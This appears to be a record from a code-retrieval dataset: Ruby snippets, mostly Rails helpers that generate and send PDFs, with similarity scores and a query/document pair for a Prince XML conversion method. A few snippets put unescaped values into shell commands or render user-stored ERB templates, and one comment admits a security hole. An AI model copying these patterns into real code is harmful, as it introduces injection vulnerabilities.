"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n end\n end\n return nil\n end",
"def ruby_interpreter_path\n Pathname.new(\n File.join(Config::CONFIG[\"bindir\"],\n Config::CONFIG[\"RUBY_INSTALL_NAME\"]+Config::CONFIG[\"EXEEXT\"])\n ).realpath\n end",
"def install_command_vars_for_bourne\n flags = %w{latest true nightlies}.include?(version) ? \"\" : \"-v #{CGI.escape(version)}\"\n flags << \" \" << \"-n\" if nightlies\n flags << \" \" << \"-p\" if prerelease\n flags << \" \" << install_flags if install_flags\n\n [\n shell_var(\"chef_omnibus_root\", root),\n shell_var(\"chef_omnibus_url\", omnibus_url),\n shell_var(\"install_flags\", flags.strip),\n shell_var(\"pretty_version\", Util.pretty_version(version)),\n shell_var(\"sudo_sh\", sudo(\"sh\")),\n shell_var(\"version\", version),\n ].join(\"\\n\")\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n return nil\nend",
"def which(cmd, opts = {})\n unless $awestruct_cmd.nil? || opts[:clear_cache]\n return $awestruct_cmd\n end\n\n $awestruct_cmd = nil\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n candidate = File.join path, \"#{cmd}#{ext}\"\n if File.executable? candidate\n $awestruct_cmd = candidate\n return $awestruct_cmd\n end\n end\n end\n return $awestruct_cmd\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend"
] |
[
"0.6912297",
"0.6552656",
"0.6512571",
"0.6376599",
"0.6348454",
"0.6348454",
"0.6348454",
"0.6059444",
"0.6059209",
"0.6053944",
"0.60079527",
"0.60047174",
"0.59679765",
"0.5951879",
"0.5898595",
"0.5877016",
"0.5815611",
"0.5815611",
"0.58031374",
"0.5765709",
"0.57606673",
"0.5757589",
"0.57575685",
"0.5753658",
"0.57497925",
"0.5744925",
"0.5743823",
"0.5737968",
"0.57098913",
"0.56674343",
"0.56637704",
"0.5644366",
"0.5642056",
"0.5641226",
"0.561645",
"0.5604445",
"0.55853564",
"0.5582728",
"0.55726343",
"0.5548095",
"0.5543395",
"0.5541359",
"0.55319744",
"0.55215937",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5516692",
"0.5514268",
"0.55131197",
"0.5509954",
"0.55071735",
"0.55039525",
"0.5500976",
"0.5500574",
"0.5498931",
"0.5493947",
"0.5485165",
"0.5477154",
"0.5475031",
"0.54701465",
"0.54685146",
"0.54685146",
"0.54685146",
"0.54685146",
"0.54682285",
"0.5467281",
"0.54627323",
"0.5448092",
"0.5445693",
"0.54399943",
"0.5435982",
"0.54354674",
"0.5433307",
"0.5432964",
"0.5427428",
"0.5427428",
"0.54265136",
"0.54249394",
"0.54249394",
"0.5423579",
"0.5421938",
"0.5418851",
"0.5413131",
"0.5409167",
"0.5409167",
"0.540906",
"0.540906",
"0.540906",
"0.540906"
] |
0.7015767
|
0
|
Makes a pdf from a passed in string. Returns PDF as a stream, so we can use send_data to shoot it down the pipe using Rails.
|
def pdf_from_string(string, output_file = '-')
path = self.exe_path()
# Don't spew errors to the standard out...and set up to take IO
# as input and output
path << ' --silent - -o -'
# Show the command used...
logger.info "\n\nPRINCE XML PDF COMMAND"
logger.info path
logger.info ''
# Actually call the prince command, and pass the entire data stream back.
pdf = IO.popen(path, "w+")
pdf.puts(string)
pdf.close_write
result = pdf.gets(nil)
pdf.close_read
result.force_encoding('BINARY') if RUBY_VERSION >= "1.9"
return result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pdf_from_string(string, options={})\n # -q for no errors on stdout\n command_for_stdin_stdout = \"#{@exe_path} #{parse_pdf_options(options)} -q - - \" \n p \"*\"*15 + command_for_stdin_stdout + \"*\"*15 unless defined?(Rails) and Rails.env != 'development'\n pdf, err = begin\n Open3.popen3(command_for_stdin_stdout) do |stdin, stdout, stderr|\n stdin.write(string)\n stdin.close\n [stdout.read, stderr.read]\n end\n rescue Exception => e\n raise \"Failed to execute #{@exe_path}: #{e}\"\n end\n\n raise \"PDF could not be generated!\\n#{err}\" if pdf and pdf.length == 0\n pdf\n end",
"def pdf_from_string(string, output_file = '-')\n puts Process.pid\n path = self.exe_path()\n # Don't spew errors to the standard out...and set up to take IO\n # as input and output\n path << ' --silent - -o -'\n\n # Show the command used...\n logger.info \"\\n\\nPRINCE XML PDF COMMAND\"\n logger.info path\n logger.info ''\n\n # Actually call the prince command, and pass the entire data stream back.\n with_timeout do\n pdf = IO.popen(path, \"w+\")\n pdf.puts(string)\n pdf.close_write\n result = pdf.gets(nil)\n pdf.close_read\n result.force_encoding('BINARY') if RUBY_VERSION >= \"1.9\"\n return result\n end\n end",
"def convertStringToStream(text, out_stream)\n if (!(!text.nil? && !text.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(text, \"convertStringToStream::text\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_string_to_stream\"), 470);\n end\n \n @fields['text'] = text\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"def create_pdf\n File.open(@path, 'wb') do |file|\n file << rendered_pdf\n end\n end",
"def make_and_send_pdf(template_path, pdf_name, landscape=false)\n send_data(\n make_pdf(template_path, pdf_name, landscape),\n :filename => pdf_name,\n :type => 'application/pdf'\n ) \n end",
"def generate_pdf(report_data)\n Prawn::Document.new do\n text report_data\n end.render\n end",
"def make_pdf(options = {}, main_body)\n w = Wkhtmltopdf.new(WickedPdf.config, options[:wkhtmltopdf])\n @content = w.pdf_from_string(main_body, options)\n end",
"def send_or_create_pdf(template)\n file_path = pdf_file_path(template)\n\n unless File.exist?(file_path)\n File.open(file_path, \"wb\") { |f| f.puts render_pdf(template) }\n end\n\n IO.binread(file_path)\n end",
"def pdf(id, filename = nil)\n pdf_data = @application.http_get(@application.client, \"#{url}/#{CGI.escape(id)}\", :response => :pdf)\n if filename\n File.open(filename, \"wb\") { | fp | fp.write pdf_data }\n nil\n else\n pdf_data\n end\n end",
"def process_pdf(path, invoke, tmp, opts)\n if opts[:ensure_termination]\n @process = IO.popen(invoke)\n\n watcher = PDFKit::Watcher.new(path, with_delay: 10, timeout: opts[:timeout])\n watcher.watch_for_end_of_file do\n Process.kill :SIGINT, @process.pid\n tmp.close if tmp\n end\n else\n result = IO.popen(invoke, \"wb+\") do |pdf|\n pdf.puts(@source.to_s) if @source.html?\n pdf.close_write\n pdf.gets(nil)\n end\n end\n result = File.read(path) if path\n\n result\n end",
"def pdf_from_url(full_url, options = {})\n uri = URI(full_url)\n params = URI.decode_www_form(uri.query || \"\") << ['icanhazpdf', Icanhazpdf::Client::api_key]\n uri.query = URI.encode_www_form(params)\n begin\n service_url = Rails.configuration.icanhazpdf_url\n rescue\n service_url = Icanhazpdf::Client.default_service_url\n end\n encoded_url = \"#{service_url}?url=#{URI.encode(uri.to_s).gsub(':', '%3A').gsub('/', '%2F').gsub('?', '%3F').gsub('=', '%3D').gsub('&', '%26')}\"\n encoded_url += \"&use_wkhtmltopdf=true\" if options[:use_wkhtmltopdf]\n encoded_url += \"&margin=#{options[:margin]}\" if options.has_key[:margin]\n HTTParty.get(encoded_url, :timeout => 10000)\n end",
"def to_pdf\n\t\trequire 'erb'\n\t\trequire 'fileutils'\n @self = self\n template = ERB.new(LatexTemplate.where(model: self.class.to_s).first.template)\n directory = \"#{Rails.root}/tmp/pdf/#{self.class.to_s}/\"\n\t\tif not File.directory? directory\n\t\t\tFileUtils.mkpath(directory)\n\t\tend\n\t\tfile = \"#{directory}/#{self.id}.tex\"\n\t\tFile.open(file, 'w') do |f|\n # TODO: this is a potential security hole. But as we trust the user anyways, we don't give too much of a sh***\n\t\t\tf.write(template.result(binding))\n\t\tend\n\t\tIO.popen(\"pdflatex -output-directory #{directory} #{file}\") do |handle|\n\t\t\tpdflatex_output = handle.read\n\t\tend\n\t\tif $? == 0\n\t\t\treturn File.read(\"#{directory}/#{self.id}.pdf\")\n\t\telse\n\t\t\tlogger.error(pdflatex_output)\n return nil\n\t\tend\n end",
"def pdf\n document = Document.find(params[:id])\n\n document_disposition = \"inline\"\n if params[:download]\n document_disposition = \"attachment; filename='#{params[:type]}-#{params[:id]}.pdf'\"\n end\n\n # The line below enables document caching for a month.\n expires_in 30.days, public: true\n send_file(\n document.serve,\n type: \"application/pdf\",\n disposition: document_disposition\n )\n end",
"def pdf\n document = Document.find(params[:id])\n\n # The line below enables document caching for 48 hours.\n expires_in 30.days, public: true\n send_file(\n document.serve,\n type: \"application/pdf\",\n disposition: \"inline\")\n end",
"def to_pdf_file\n Dir.mktmpdir(ident) do |output_directory|\n string = self.string\n pdf_path = File.join(output_directory, ident + '.pdf')\n Prawn::Document.generate(pdf_path) do\n font_families.update 'ComicSans' => {normal: Rails.root.join('vendor', 'assets', 'fonts', 'ComicSans.ttf').to_s}\n font('ComicSans') { text string }\n end\n yield pdf_path\n end\n end",
"def pdf(html)\n WickedPdf.new.pdf_from_string(html,\n margin: {:top => 0, :bottom => 0, :left => 0, :right => 0})\n end",
"def gerar_relatorio\n pdf = PDFController.render_pdf\n send_data pdf,\n :type => \"application/pdf\",\n :disposition => \"inline\",\n :filename => \"report.pdf\"\n end",
"def to_pdf\n begin \n fo = StringIO.new(to_fo).to_inputstream\n fopfac = FopFactory.newInstance\n fopfac.setBaseURL( File.join(ASUtils.find_base_directory, 'stylesheets') ) \n fop = fopfac.newFop(MimeConstants::MIME_PDF, @output.to_outputstream) \n transformer = TransformerFactory.newInstance.newTransformer()\n res = SAXResult.new(fop.getDefaultHandler)\n transformer.transform(StreamSource.new(fo), res)\n ensure\n @output.close\n end\n @output \n end",
"def pdf\n send_file Rails.root.join('private', 'form_16.pdf'), :type=>\"application/pdf\", :x_sendfile=>true\n end",
"def download_pdf(pdf, displayed_filename)\n send_data pdf.render, :filename => displayed_filename\n end",
"def generate_pdf(input)\n create_debug_output(input) if options[:debug]\n check_for_tex_presence!\n create_pdf(input)\n end",
"def convert_to_pdf!\n if content_type == 'application/pdf'\n return stamp_pdf!\n else\n command = \"export LD_LIBRARY_PATH=/opt/openoffice.org2.4_sdk/linux/lib:/opt/openoffice.org2.4/program/; #{RAILS_ROOT}/lib/pdfconvert/convert.php #{self.versions[:original].path} \\\"\\\" #{self.versions[:pdf].path}\"\n RAILS_DEFAULT_LOGGER.info { \"--Converting file to pdf:\\n Command: #{command}\" }\n result = `#{command}`\n RAILS_DEFAULT_LOGGER.info { \"#{result}\" }\n RAILS_DEFAULT_LOGGER.info { \" --> Result: #{$?}\" }\n out = $?\n\n if result.to_s.include?(\"couldn't connect to socket\") || result.to_s.include?(\"error\") || !out.success?\n Thread.current['pdf_conversion_error'] = \"Could not convert document to PDF: #{result.to_s}\"\n else\n Thread.current['pdf_conversion_error'] = nil\n end\n \n stamp_pdf! if out.success?\n return out\n end\n end",
"def render_pdf src, *opts\n render src, {render: {format: 'pdf'}}, *opts\n end",
"def pdf\n @resume = Resume.find(params[:id])\n html = RDiscount.new(@resume.content).to_html\n kit = PDFKit.new(html, :page_size => 'Letter')\n pdf = kit.to_pdf\n \n file_path = \"#{Rails.root.to_s}/tmp/#{@resume.id}.pdf\"\n file = kit.to_file(file_path)\n send_file file_path, :type => 'pdf', :disposition => 'inline'\n end",
"def parse_PDF input_file\n\n begin\n reader = PDF::Reader.new(input_file.tempfile)\n # Catch common PDF parser error\n rescue PDF::Reader::MalformedPDFError => error\n flash[:alert] = \"Error parsing document. Is this a Portable Document Format (PDF) file?\"\n return \"\"\n end\n document = \"\"\n reader.pages.each do |page|\n document += page.text\n end\n\n flash[:notice] = \"PDF Processed.\"\n return document\n\n end",
"def to_pdf_data; end",
"def get_pdf(x)\n end",
"def save_pdf_file(pdf_content)\n File.open('data/test-generated/pdf/test.pdf', 'wb') { |file| file.puts(pdf_content) }\nend",
"def pdf_or_convert filepath = @content_blob.filepath\n if @content_blob.is_pdf?\n pdf_filepath = @content_blob.filepath\n pdf_filename = @content_blob.original_filename\n else\n pdf_filepath = @content_blob.filepath(\"pdf\")\n @content_blob.convert_to_pdf(filepath, pdf_filepath)\n\n if File.exists?(pdf_filepath)\n pdf_filename = File.basename(@content_blob.original_filename, File.extname(@content_blob.original_filename))+\".pdf\"\n else\n raise Exception.new(\"Couldn't find converted PDF file.\")\n end\n end\n\n send_file pdf_filepath,\n :filename => pdf_filename,\n :type => \"application/pdf\",\n :disposition => 'attachment'\n\n headers[\"Content-Length\"] = File.size(pdf_filepath).to_s\n end",
"def make_pdf(template_path, pdf_name, landscape=false)\n prince = Prince.new()\n # Sets style sheets on PDF renderer.\n prince.add_style_sheets(\n \"#{RAILS_ROOT}/public/stylesheets/main.css\",\n \"#{RAILS_ROOT}/public/stylesheets/bracket.css\",\n \"#{RAILS_ROOT}/public/stylesheets/bracket-print.css\",\n \"#{RAILS_ROOT}/public/stylesheets/prince.css\"\n )\n prince.add_style_sheets(\"#{RAILS_ROOT}/public/stylesheets/prince_landscape.css\") if landscape\n # Render the estimate to a big html string.\n # Set RAILS_ASSET_ID to blank string or rails appends some time after\n # to prevent file caching, fucking up local - disk requests.\n old_rails_asset_id = ENV[\"RAILS_ASSET_ID\"]\n begin\n ENV[\"RAILS_ASSET_ID\"] = ''\n html_string = render_to_string(:template => template_path, :layout => 'print.html')\n # Make all paths relative, on disk paths...\n html_string.gsub!(\"src=\\\"\", \"src=\\\"#{RAILS_ROOT}/public\")\n # Send the generated PDF file from our html string.\n return prince.pdf_from_string(html_string)\n ensure\n ENV[\"RAILS_ASSET_ID\"] = old_rails_asset_id\n end\n end",
"def render_pdf(output, output_filename)\n output_file = File.new(output_filename, 'w')\n output_file.write(output)\n output_file.close\n\n # Make sure this variable is escaped, clearly.....\n system(\"pdflatex -output-directory=/tmp/ #{output_filename}\")\n end",
"def save_pdf\n assert_equal 'application/pdf', response.media_type\n filename = \"#{self.class.name.underscore}__#{method_name}.pdf\"\n File.open(File.join($redmine_tmp_pdf_directory, filename), \"wb\") do |f|\n f.write response.body\n end\n end",
"def to_pdf\n to_prawn.render\n end",
"def stream\n render_layout\n\n pdf_content\n end",
"def convertStringToStream(text, out_stream)\n if (!(!text.nil? && !text.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(text, \"convertStringToStream::text\", \"html-to-image\", \"The string must not be empty.\", \"convert_string_to_stream\"), 470);\n end\n \n @fields['text'] = text\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"def render_pdf\n render_pdf_internal(report_for_rendering)\n end",
"def make_pdf(opts = {})\r\n @pdf = true\r\n @debug_pdf = params[:debug_pdf]\r\n params[:format] = 'html'\r\n html = render_to_string(:action => \"#{opts.delete(:action) || params[:action]}.html.erb\", :layout => (opts.delete(:layout) || 'pdf')) # layout not taken\r\n if !@debug_pdf\r\n html.gsub!(/\\/images\\//, Rails.root.join('public', 'images/').to_s)\r\n else\r\n render(:text => html, :layout => false) and return\r\n end\r\n kit = PDFKit.new(html, opts.merge(:encoding => 'UTF-8'))\r\n kit.stylesheets << Rails.root.join('public', 'stylesheets', 'pdf.css')\r\n return kit.to_pdf\r\n end",
"def build_pdf_file(path)\n controller_name = controller.underscore.gsub('/', '-')\n tempfile = Tempfile.new([\"export-#{controller_name}\", '.pdf'], Rails.root.join('tmp'))\n tempfile.binmode\n tempfile.write pdf_from_html_file(path)\n tempfile.close\n\n save_html_export path if Rails.env.development?\n self.file = File.open(tempfile.path)\n self.file_content_type = 'application/pdf'\n end",
"def show\n @exercice = Exercice.find(params[:id])\n content = render_to_string(:template => \"/exercices/show.pdf.erb\", :layout => true)\n puts content\n puts \"###################################################################\"\n target = \"/var/www/ludo/public/pdf/temp.pdf\"\n File.open(target, \"w+\") do |f|\n f.write(content)\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercice }\n format.pdf { render pdf: @exercice }\n end\n end",
"def get_pdf_from(url, options = {})\n server_options = {}\n server_options.merge!(server_url: Rails.configuration.url2pdf_server_url) if Rails.configuration.respond_to?(:url2pdf_server_url)\n server_options.merge!(timeout: Rails.configuration.url2pdf_timeout) if Rails.configuration.respond_to?(:url2pdf_timeout)\n Url2pdf::Client.new(Rails.configuration.url2pdf_api_key, server_options).pdf_from_url(url, options)\n end",
"def makePDF( stylesheetPath, xml )\n pdfFile = Tempfile.new(\"pdf\");\n xmlFile = Tempfile.new(\"xml\");\n dmpFile = Tempfile.new(\"dump\" );\n RAILS_DEFAULT_LOGGER.debug( \" makePDF; xml is #{xml} \" ); \n xmlFile.write( xml );\n xmlFile.close();\n cmd = FOP_PATH+\" -xml #{xmlFile.path} -xsl #{stylesheetPath} -pdf #{pdfFile.path} &> #{dmpFile.path}\";\n RAILS_DEFAULT_LOGGER.debug( \" makePDF; command is #{cmd} \" );\n # see: file:/home/graham_s/ruby/docs/www.rubycentral.com/book/tut_threads.html\n IO.popen( cmd ) { \n |f| \n RAILS_DEFAULT_LOGGER.debug( \"command output is #{f.gets}\" ); \n }\n pdf = pdfFile.read();\n pdfFile.close();\n RAILS_DEFAULT_LOGGER.debug( \" output dump is \" + dmpFile.read() );\n dmpFile.close();\n return pdf\nend",
"def download_pdf\n pdf_type = 'Return'\n return_pdf(pdf_type)\n end",
"def to_pdf_file\n to_tex_file do |tex_path|\n Dir.mktmpdir(ident) do |output_directory|\n system pdftex, *PDFTEX_OPTIONS, \"--output-directory=#{output_directory}\", tex_path\n pdf_path = File.join(output_directory, ident + '.pdf')\n raise PDFConversionFailed, self unless File.exist?(pdf_path)\n\n yield pdf_path\n File.unlink pdf_path\n end\n end\n end",
"def generate_pdf\n respond_to do |format|\n format.html\n format.pdf do\n render :pdf => \"generate_pdf\"\n end\n end\n end",
"def fd_download_pdf\n send_file(\n \"#{Rails.root}/public/doc/reliance.pdf\",\n filename: \"fd.pdf\",\n type: \"application/pdf\"\n )\n end",
"def rendered_pdf\n WickedPdf.new.pdf_from_string(rendered_view, @pdf_options)\n end",
"def pdf\n @library = Library.find(params[:id])\n #send_file(@library)\n \n #send_file Rails.root.join('private','README.rdoc'), :type => 'application/pdf', :x_sendfile =>true\n [email protected]_str\n send_file Rails.root.join('public',name), :type => 'application/pdf', :x_sendfile =>true\n #@library = Library.find(params[:id])\n #:filepath=@library\n #send_file @library.File.path , :type => 'application/pdf', :x_sendfile =>true\n #render :text => \"file has been uploadfile successfully\"\nend",
"def download_pdf\n send_file(\n \"#{Rails.root}/public/cv_eric_merlin.pdf\",\n filename: \"cv_eric_merlin.pdf\",\n type: \"application/pdf\"\n )\nend",
"def invoice_as_pdf(invoice_id, destination_file_name)\n response = do_http_get(\"#{url_for_resource(\"invoice-document\")}/#{invoice_id}\", {}, {'Content-Type' => 'application/pdf'})\n if response && response.code.to_i == 200\n File.open(destination_file_name, \"wb\") do |file|\n file.write(response.body)\n end\n destination_file_name\n else\n nil\n end\n end",
"def download_document\n doc_name = Event::Document::MAPPING[params[:name].to_sym]\n pdf = File.new(\"public/documents/#{doc_name}\")\n pdf_data = File.read(pdf.path)\n begin\n send_data(pdf_data, type: 'application/pdf', filename: doc_name)\n ensure\n pdf.close\n end\n end",
"def download\n sleep 1 # Wait until the PDF engine finish writing the file\n send_file session[:preview_filename], type: \"application/pdf\"\n session[:preview_filename] = nil\n end",
"def suplierSaleReport\n\n # Save and open pdf\n #filename = File.join(Rails.root, \"app/report\", \"SalesList.pdf\")\n #pdf.render_file filename\n #send_file filename, :filename => \"SalesList.pdf\", :type => \"application/pdf\"\n \n @sale = Sale.find(params[:id])\n\n # Open pdf\n send_data suplierSale_pdf.render, :filename => \"SuplierSale.pdf\", :type => \"application/pdf\"\n\n end",
"def show_pdf(pdf, options) \n options[:disposition] ||= \"inline\"\n\n if options[:show_as_html]\n render :template => options[:template], :layout => options[:layout], :content_type => \"text/html\"\n else\n send_data(pdf.content, :filename => options[:pdf] + '.pdf', :type => 'application/pdf', :disposition => options[:disposition])\n end\n end",
"def to_pdf\n\t\tunless id then raise ::ArgumentError,\n\t\t\t'Could not find id for this Invoice, are you trying '\\\n\t\t\t'to convert an invoice to PDF without creating it?'\n\t\tend\n\n\t\tencoded = NSConnector::Restlet.execute!(\n\t\t\t:action => 'invoice_pdf',\n\t\t\t:invoice_id => id\n\t\t).first\n\t\tBase64::decode64(encoded)\n\tend",
"def generate_pdf_data\n pages = 0\n\n # Render the PDF data to string\n pdf_data = WickedPdf.new.pdf_from_string(\n ResumeRenderer.new(self).render_theme(self.current_theme, layout: 'pdf_page'),\n {\n disable_external_links: true,\n disable_internal_links: true,\n print_media_type: true,\n outline: { outline: true }\n }\n )\n\n # Extract the PDF metadata\n meta_dump = nil\n IO.popen(\"#{ENV['PDFTK_BIN']} - dump_data_utf8 output -\", \"w+\") do |pipe|\n pipe.write pdf_data\n pipe.close_write\n meta_dump = pipe.read\n end\n\n # Mutate some PDF metadata values\n # meta_dump.gsub!(/^InfoBegin\\nInfoKey:\\ Creator\\nInfoValue:\\ .+\\n/, \"InfoBegin\\nInfoKey: Creator\\nInfoValue: JibJob PDF Renderer\\n\")\n # meta_dump.gsub!(/^InfoBegin\\nInfoKey:\\ Producer\\nInfoValue:\\ .+\\n/, \"InfoBegin\\nInfoKey: Producer\\nInfoValue: https://jibjob.co\\n\")\n\n # # Inject updated PDF metadata back\n # begin\n # dump_tmpfile = Tempfile.new(\"jibjob-resume-#{self.id}\")\n # dump_tmpfile.write(meta_dump)\n # dump_tmpfile.rewind\n # IO.popen(\"#{ENV['PDFTK_BIN']} - update_info_utf8 #{dump_tmpfile.path} output - uncompress\", \"w+\") do |pipe|\n # pipe.write pdf_data\n # pipe.close_write\n # pdf_data = pipe.read\n # end\n # ensure\n # dump_tmpfile.close\n # dump_tmpfile.unlink\n # end\n\n # Fetch some PDF metadata values\n pages = meta_dump.match(/^NumberOfPages:\\ (\\d+)\\n/)[1].to_i\n\n # Return PDF data wrapper\n { content: pdf_data,\n pages: pages\n }\n end",
"def download_pdf(report)\n userid = \"#{session[:userid]}|#{request.session_options[:id]}|adhoc\"\n result = report.build_create_results(:userid => userid)\n render_pdf_internal_rr(report, result)\n end",
"def pdfout(content, file: 'output.pdf', width: 7, height: 7)\n \"\"\"\n pdf('#{file}', width=#{width}, height=#{height})\n #{content}\n dev.off()\n \"\"\"\nend",
"def create\n\n #Creates the appropriate pdf according to the pdf_id supplied\n pdf = Pdf.create_pdf(@pdf_id, @client, @settings)\n\n disposition = false\n if @inline == \"true\"\n disposition = \"inline\"\n end\n respond_to do |format|\n format.pdf do\n send_data pdf.render,\n filename: Pdf.get_pdf_file_name(Pdf::PDFS.keys[@pdf_id.to_i], @client),\n disposition: disposition\n end\n end\n end",
"def pdf\n #render layout: false\n Car.find(params[:id])\n Prawn::Document.generate(\"app/assets/pdf/#{@car.targa}.pdf\") do |f|\n f.text \"Hello Worldd!\"\n end\n end",
"def to_pdf\n template = ERB.new(PDF_TEMPLATE, 0, '%')\n Iconv.conv(PDF_ENCODING, @properties['encoding'],\n template.result(binding))\n end",
"def pdf_file(template)\n if Spree::PrintInvoice::Config.store_pdf\n send_or_create_pdf(template)\n else\n render_pdf(template)\n end\n end",
"def get_pdf(params = {})\n call('estimate.getPDF', params)\n end",
"def generate_pdf\n\t\t\n\t\tfile_name = get_pdf_file_name\n\n\t\tac = ActionController::Base.new\n\n\t\tpdf = ac.render_to_string pdf: file_name,\n\t template: \"#{ Auth::OmniAuth::Path.pathify(self.class.name).pluralize}/pdf/show.pdf.erb\",\n\t locals: {:receipt => self, :organization => self.payable_to_organization},\n\t layout: \"pdf/application.html.erb\",\n \tquiet: true,\n\t header: {\n\t \thtml: {\n\t \t\ttemplate:'/layouts/pdf/receipt_header.pdf.erb',\n\t \t\tlayout: \"pdf/application.html.erb\",\n\t \t\tlocals: {:receipt => self, :organization => self.payable_to_organization}\n\t \t}\n\t },\n\t footer: {\n\t \t\thtml: { \n\t \t\t\ttemplate:'/layouts/pdf/receipt_footer.pdf.erb',\n\t \t\t\tlayout: \"pdf/application.html.erb\",\n\t \t\tlocals: {:receipt => self, :organization => self.payable_to_organization}\n\t }\n\t } \n\n #save_path = Rails.root.join('public',\"#{file_name}.pdf\")\n\t\t#File.open(save_path, 'wb') do |file|\n\t\t# file << pdf\n\t\t# self.pdf_urls = [save_path]\n\t\t# self.pdf_url = save_path\n\t\t#end\n\t\tTempfile.open(file_name) do |f| \n\t\t f.binmode\n\t\t f.write pdf\n\t\t f.close \n\t\t #IO.write(\"#{Rails.root.join(\"public\",\"test.pdf\")}\",pdf)\n\t\t response = Cloudinary::Uploader.upload(File.open(f.path), :public_id => file_name, :upload_preset => \"report_pdf_files\")\n\t\t puts \"response is: #{response}\"\n\t\t self.latest_version = response['version'].to_s\n\t\t self.pdf_url = response[\"secure_url\"]\n\t\tend\n\t\tself.skip_pdf_generation = true\n\t\t\n\t\tafter_generate_pdf\n\n\tend",
"def show\n# @document = Document.find(params[:id])\n# docpath= Rails.root.to_s + '/public/documents/' + @document.filename\n# send_file docpath, :type=>\"application/pdf\"\n end",
"def pdfmaker_makePdf(pdf_tmp_html, filecontents, cssfile, jsfile, testing_value, watermark_css, logkey='')\n\toutput = Bkmkr::Tools.makepdf(Bkmkr::Tools.pdfprocessor, Metadata.pisbn, pdf_tmp_html, filecontents, cssfile, jsfile, testing_value, watermark_css, Bkmkr::Keys.http_username, Bkmkr::Keys.http_password)\n logstring = output\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def generate_pdf\n\t\t\t\n\n\t\tfile_name = get_file_name\n\t\tfile_name = \"test\"\n\t \n\t ac = ActionController::Base.new\n\t \n\t pdf = ac.render_to_string pdf: file_name,\n template: \"#{ Auth::OmniAuth::Path.pathify(self.class.name).pluralize}/pdf/show.pdf.erb\",\n locals: {:object => self},\n layout: \"pdf/application.html.erb\",\n quiet: true,\n header: {\n \thtml: {\n \t\ttemplate:'/layouts/pdf/header.html.erb',\n \t\tlayout: '/layouts/pdf/empty_layout.html.erb',\n \t\tlocals: {:object => self}\n \t}\n },\n footer: {\n \t\thtml: { \n \t\t\ttemplate:'/layouts/pdf/footer.html.erb',\n \t\t\tlayout: '/layouts/pdf/empty_layout.html.erb',\n \t\tlocals: {:object => self}\n }\n } \n\n save_path = Rails.root.join('public',\"#{file_name}.pdf\")\n\t\tFile.open(save_path, 'wb') do |file|\n\t\t file << pdf\n\t\tend\n\n\t Tempfile.open(file_name) do |f| \n\t\t f.binmode\n\t\t f.write pdf\n\t\t f.close \n\t\t #IO.write(\"#{Rails.root.join(\"public\",\"test.pdf\")}\",pdf)\n\t\t response = Cloudinary::Uploader.upload(File.open(f.path), :public_id => file_name, :upload_preset => \"report_pdf_files\")\n\t\t puts \"response is-------------------------------------------------------------->: #{response}\"\n\t\t self.latest_version = response['version'].to_s\n\t\t self.pdf_url = response[\"url\"]\n\t\tend\n\n\t\tself.skip_pdf_generation = true\n\t\t\n\t\t#self.save\t\t\n\t\tafter_generate_pdf\n\n\tend",
"def pdf_file\n ActiveSupport::Deprecation.warn('This API has changed: Please use order.pdf_invoice.pdf instead')\n pdf_invoice.pdf\n end",
"def pdf\n #TODO: this is a security issue as anyone can access the pdf, need to fix so that only jquery can access\n send_file(open(@ebook.pdf.url), :filename => @ebook.pdf.path, :disposition => 'inline', :type => \"application/pdf\")\n end",
